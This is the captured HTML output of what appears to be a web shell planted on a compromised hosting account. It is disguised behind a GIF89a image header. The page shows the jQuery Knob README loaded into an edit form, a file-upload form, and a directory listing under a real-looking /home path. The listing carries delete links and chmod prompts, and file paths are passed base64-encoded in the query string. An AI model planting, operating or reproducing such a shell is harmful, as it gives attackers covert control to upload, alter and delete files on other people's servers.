GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>README.md<form method=post action="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=UkVBRE1FLm1k"><input name="f" value="README.md"><textarea name="t">jQuery Knob
=============

- canvas based ; no png or jpg sprites.
- touch, mouse and mousewheel, keyboard events implemented.
- downward compatible ; overloads an input element.

Example
-------

    &lt;input type=&quot;text&quot; value=&quot;75&quot; class=&quot;dial&quot;&gt;

    &lt;script&gt;
    $(function() {
        $(&quot;.dial&quot;).knob();
    }
    &lt;/script&gt;

Options
-------

Options are provided as attributes 'data-option':

    &lt;input type=&quot;text&quot; class=&quot;dial&quot; data-min=&quot;-50&quot; data-max=&quot;50&quot;&gt;

... or in the &quot;knob()&quot; call :

    $(&quot;.dial&quot;).knob({
                    'min':-50
                    ,'max':50
                    })

The following options are supported :

Behaviors :
* min : min value | default=0.
* max : max value | default=100.
* angleOffset : starting angle in degrees | default=0.
* angleArc : arc size in degrees | default=360.
* stopper : stop at min &amp; max on keydown/mousewheel | default=true.
* readOnly : disable input and events | default=false.

UI :
* cursor : display mode &quot;cursor&quot; | default=gauge.
* thickness : gauge thickness.
* width : dial width.
* displayInput : default=true | false=hide input.
* displayPrevious : default=false | true=displays the previous value with transparency.
* fgColor : foreground color.
* bgColor : background color.

Hooks
-------

    &lt;script&gt;
    $(&quot;.dial&quot;).knob({
                        'release' : function (v) { /*make something*/ }
                    });
    &lt;/script&gt;

* 'release' : executed on release

    Parameters :
    + value : int, current value

* 'change' : executed at each change of the value

    Parameters :
    + value : int, current value

* 'draw' : when drawing the canvas

    Context :
    - this.g : canvas context 2D (see Canvas documentation)
    - this.$ : jQuery wrapped element
    - this.o : options
    - this.i : input
    - ... console.log(this);

* 'cancel' : triggered on [esc] keydown

The scope (this) of each hook function is the current Knob instance (refer to the demo code).

Example
-------

    &lt;input type=&quot;text&quot; value=&quot;75&quot; class=&quot;dial&quot;&gt;

    &lt;script&gt;
    $(&quot;.dial&quot;).knob({
                     'change' : function (v) { console.log(v); }
                    });
    &lt;/script&gt;


Dynamically configure
-------

    &lt;script&gt;
    $('.dial')
        .trigger(
            'configure',
            {
            &quot;min&quot;:10,
            &quot;max&quot;:40,
            &quot;fgColor&quot;:&quot;#FF0000&quot;,
            &quot;skin&quot;:&quot;tron&quot;,
            &quot;cursor&quot;:true
            }
        );
    &lt;/script&gt;

Set the value
-------

    &lt;script&gt;
    $('.dial')
        .val(27)
        .trigger('change');
    &lt;/script&gt;

Supported browser
-------

Tested on Chrome, Safari, Firefox, IE 9.0.</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWw=">/home/mktssoci/public_html</a><hr>curdir: /home/mktssoci/public_html/Admin/assets/jquery-knob<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>51</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>150</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&x=UkVBRE1FLm1k">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=UkVBRE1FLm1k"/>README.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=UkVBRE1FLm1k&c=`+btoa(c):0" value="0644"></td><td>2626</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&x=aW5kZXguaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=aW5kZXguaHRtbA=="/>index.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=aW5kZXguaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>12042</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9iL2pz"/>js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1rbm9i&f=anM=&c=`+btoa(c):0" value="0755"></td><td>28</td></tr></table>